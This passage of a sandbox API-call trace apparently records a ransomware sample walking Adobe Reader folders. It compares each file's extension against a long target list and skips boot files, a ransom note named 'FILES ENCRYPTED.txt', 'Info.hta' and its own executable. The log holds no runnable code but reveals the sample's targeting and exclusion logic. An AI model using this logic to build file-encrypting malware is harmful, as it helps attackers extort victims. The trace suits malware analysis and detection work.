(lpString=".htm") returned 4 [0276.941] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".html") returned 5 [0276.941] lstrcmpiW (lpString1=".html", lpString2="s.png") returned -1 [0276.941] lstrlenW (lpString=".icb") returned 4 [0276.941] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".ics") returned 4 [0276.941] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".iff") returned 4 [0276.941] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".inc") returned 4 [0276.941] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0276.941] lstrlenW (lpString=".indd") returned 5 [0276.942] lstrcmpiW (lpString1=".indd", lpString2="s.png") returned -1 [0276.942] lstrlenW (lpString=".ini") returned 4 [0276.942] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".iqy") returned 4 [0276.942] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".j2c") returned 4 [0276.942] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".j2k") returned 4 [0276.942] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".java") returned 5 [0276.942] lstrcmpiW (lpString1=".java", lpString2="s.png") returned -1 [0276.942] lstrlenW (lpString=".jp2") returned 4 [0276.942] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".jpc") returned 4 [0276.942] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".jpe") returned 4 [0276.942] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".jpeg") returned 5 [0276.942] lstrcmpiW (lpString1=".jpeg", lpString2="s.png") returned -1 [0276.942] lstrlenW (lpString=".jpf") returned 4 [0276.942] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".jpg") returned 4 [0276.942] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".jpx") returned 4 [0276.942] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".js") returned 3 [0276.942] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0276.942] lstrlenW (lpString=".jsf") returned 4 [0276.942] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".json") returned 5 [0276.942] lstrcmpiW (lpString1=".json", lpString2="s.png") returned -1 [0276.942] lstrlenW (lpString=".jsp") returned 4 [0276.942] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0276.942] lstrlenW (lpString=".kdc") returned 4 [0276.943] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".kmz") returned 4 [0276.943] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".kwm") returned 4 [0276.943] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".lasso") returned 6 [0276.943] lstrcmpiW (lpString1=".lasso", lpString2="ns.png") returned -1 [0276.943] lstrlenW (lpString=".lbi") returned 4 [0276.943] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".lgf") returned 4 [0276.943] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".lgp") returned 4 [0276.943] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".log") returned 4 [0276.943] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".m1v") returned 4 [0276.943] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".m4a") returned 4 [0276.943] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".m4v") returned 4 [0276.943] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".max") returned 4 [0276.943] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".md") returned 3 [0276.943] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0276.943] lstrlenW (lpString=".mda") returned 4 [0276.943] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".mdb") returned 4 [0276.943] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".mde") returned 4 [0276.943] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".mdf") returned 4 [0276.943] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0276.943] lstrlenW (lpString=".mdw") returned 4 [0276.943] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mef") returned 4 [0276.944] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mft") returned 4 [0276.944] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mfw") returned 4 [0276.944] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mht") returned 4 [0276.944] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mhtml") returned 6 [0276.944] lstrcmpiW (lpString1=".mhtml", lpString2="ns.png") returned -1 [0276.944] lstrlenW (lpString=".mka") returned 4 [0276.944] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mkidx") returned 6 [0276.944] lstrcmpiW (lpString1=".mkidx", lpString2="ns.png") returned -1 [0276.944] lstrlenW (lpString=".mkv") returned 4 [0276.944] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mos") returned 4 [0276.944] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mov") returned 4 [0276.944] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mp3") returned 4 [0276.944] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mp4") returned 4 [0276.944] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mpeg") returned 5 [0276.944] lstrcmpiW (lpString1=".mpeg", lpString2="s.png") returned -1 [0276.944] lstrlenW (lpString=".mpg") returned 4 [0276.944] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mpv") returned 4 [0276.944] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".mrw") returned 4 [0276.944] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0276.944] lstrlenW (lpString=".msg") returned 4 [0276.945] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0276.945] lstrlenW (lpString=".mxl") returned 4 [0276.945] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0276.946] lstrlenW (lpString=".myd") returned 4 [0276.946] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0276.946] lstrlenW (lpString=".myi") returned 4 [0276.946] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0276.946] lstrlenW (lpString=".nef") returned 4 [0276.946] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".nrw") returned 4 [0276.947] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".obj") returned 4 [0276.947] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".odb") returned 4 [0276.947] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".odc") returned 4 [0276.947] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".odm") returned 4 [0276.947] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".odp") returned 4 [0276.947] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".ods") returned 4 [0276.947] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".oft") returned 4 [0276.947] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".one") returned 4 [0276.947] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".onepkg") returned 7 [0276.947] lstrcmpiW (lpString1=".onepkg", lpString2="ons.png") returned -1 [0276.947] lstrlenW (lpString=".onetoc2") returned 8 [0276.947] lstrcmpiW (lpString1=".onetoc2", lpString2="cons.png") returned -1 [0276.947] lstrlenW (lpString=".opt") returned 4 [0276.947] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0276.947] lstrlenW (lpString=".oqy") returned 4 [0276.947] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".orf") returned 4 [0276.948] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".p12") returned 4 [0276.948] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".p7b") returned 4 [0276.948] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".p7c") returned 4 [0276.948] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pam") returned 4 [0276.948] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pbm") returned 4 [0276.948] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pct") returned 4 [0276.948] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pcx") returned 4 [0276.948] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pdd") returned 4 [0276.948] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pdf") returned 4 [0276.948] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pdp") returned 4 [0276.948] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pef") returned 4 [0276.948] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pem") returned 4 [0276.948] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0276.948] lstrlenW (lpString=".pff") returned 4 [0276.949] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0276.949] lstrlenW (lpString=".pfm") returned 4 [0276.949] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0276.949] lstrlenW (lpString=".pfx") returned 4 [0276.949] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0276.949] lstrlenW (lpString=".pgm") returned 4 [0276.949] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0276.949] lstrlenW (lpString=".php") returned 4 [0276.949] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0276.949] lstrlenW (lpString=".php3") returned 5 [0276.949] lstrcmpiW (lpString1=".php3", lpString2="s.png") returned -1 [0276.949] lstrlenW (lpString=".php4") returned 5 [0276.949] lstrcmpiW (lpString1=".php4", lpString2="s.png") returned -1 [0276.949] lstrlenW (lpString=".php5") returned 5 [0276.949] lstrcmpiW (lpString1=".php5", lpString2="s.png") returned -1 [0276.949] lstrlenW (lpString=".phtml") returned 6 [0276.949] lstrcmpiW (lpString1=".phtml", lpString2="ns.png") returned -1 [0276.949] lstrlenW (lpString=".pict") returned 5 [0276.949] lstrcmpiW (lpString1=".pict", lpString2="s.png") returned -1 [0276.949] lstrlenW (lpString=".pl") returned 3 [0276.949] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0276.949] lstrlenW (lpString=".pls") returned 4 [0276.949] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0276.949] lstrlenW (lpString=".pm") returned 3 [0276.949] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0276.949] lstrlenW (lpString=".png") returned 4 [0276.949] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0276.949] lstrlenW (lpString="example_icons.png") returned 17 [0276.949] lstrlenW (lpString=".love$") returned 6 [0276.949] lstrcmpiW (lpString1=".love$", lpString2="ns.png") returned -1 [0276.949] lstrlenW (lpString="example_icons.png") returned 17 [0276.949] lstrcmpiW (lpString1="boot.ini", lpString2="example_icons.png") returned -1 [0276.949] lstrcmpiW (lpString1="bootfont.bin", lpString2="example_icons.png") returned -1 [0276.949] lstrcmpiW (lpString1="ntldr", lpString2="example_icons.png") returned 1 [0276.949] lstrcmpiW (lpString1="ntdetect.com", lpString2="example_icons.png") returned 1 [0276.950] lstrcmpiW (lpString1="io.sys", lpString2="example_icons.png") returned 1 [0276.950] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="example_icons.png") returned 1 [0276.950] lstrcmpiW (lpString1="Info.hta", lpString2="example_icons.png") returned 1 [0276.950] lstrcmpiW (lpString1="finbbp.exe", lpString2="example_icons.png") returned 1 [0276.950] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png") returned 142 [0276.950] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0276.950] lstrlenW (lpString="example_icons2x.png") returned 19 [0276.950] lstrlenW (lpString=".1cd") returned 4 [0276.950] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0276.950] lstrlenW (lpString=".3ds") returned 4 [0276.950] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0276.950] lstrlenW (lpString=".3fr") returned 4 [0276.950] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0276.950] lstrlenW (lpString=".3g2") returned 4 [0276.950] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0276.950] lstrlenW (lpString=".3gp") returned 4 [0276.950] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0276.950] lstrlenW (lpString=".7z") returned 3 [0276.950] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0276.950] lstrlenW (lpString=".accda") returned 6 [0276.950] lstrcmpiW (lpString1=".accda", lpString2="2x.png") returned -1 [0276.950] lstrlenW (lpString=".accdb") returned 6 [0276.950] lstrcmpiW (lpString1=".accdb", lpString2="2x.png") returned -1 [0276.950] lstrlenW (lpString=".accdc") returned 6 [0276.950] lstrcmpiW (lpString1=".accdc", lpString2="2x.png") returned -1 [0276.950] lstrlenW (lpString=".accde") returned 6 [0276.950] lstrcmpiW (lpString1=".accde", lpString2="2x.png") returned -1 [0276.951] lstrlenW (lpString=".accdt") returned 6 [0276.951] lstrcmpiW (lpString1=".accdt", lpString2="2x.png") returned -1 [0276.951] lstrlenW (lpString=".accdw") returned 6 [0276.951] lstrcmpiW (lpString1=".accdw", lpString2="2x.png") returned -1 [0276.951] lstrlenW (lpString=".adb") returned 4 [0276.951] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0276.951] lstrlenW (lpString=".adp") returned 4 [0276.951] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0276.951] lstrlenW (lpString=".ai") returned 3 [0276.951] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0276.951] lstrlenW (lpString=".ai3") returned 4 [0276.951] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0276.951] lstrlenW (lpString=".ai4") returned 4 [0276.951] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0276.951] lstrlenW (lpString=".ai5") returned 4 [0276.951] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0276.951] lstrlenW (lpString=".ai6") returned 4 [0276.951] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0276.951] lstrlenW (lpString=".ai7") returned 4 [0276.951] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0276.951] lstrlenW (lpString="rhp_world_icon.png") returned 18 [0276.951] lstrlenW (lpString=".1cd") returned 4 [0276.951] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0276.952] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0276.952] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0276.952] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 0 [0276.952] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0277.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.065] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0277.065] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0277.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.065] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0277.065] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0277.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.065] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0277.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0277.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0277.066] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.066] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 1 [0277.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0277.066] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0277.066] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.066] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0277.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.066] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0277.067] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.067] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 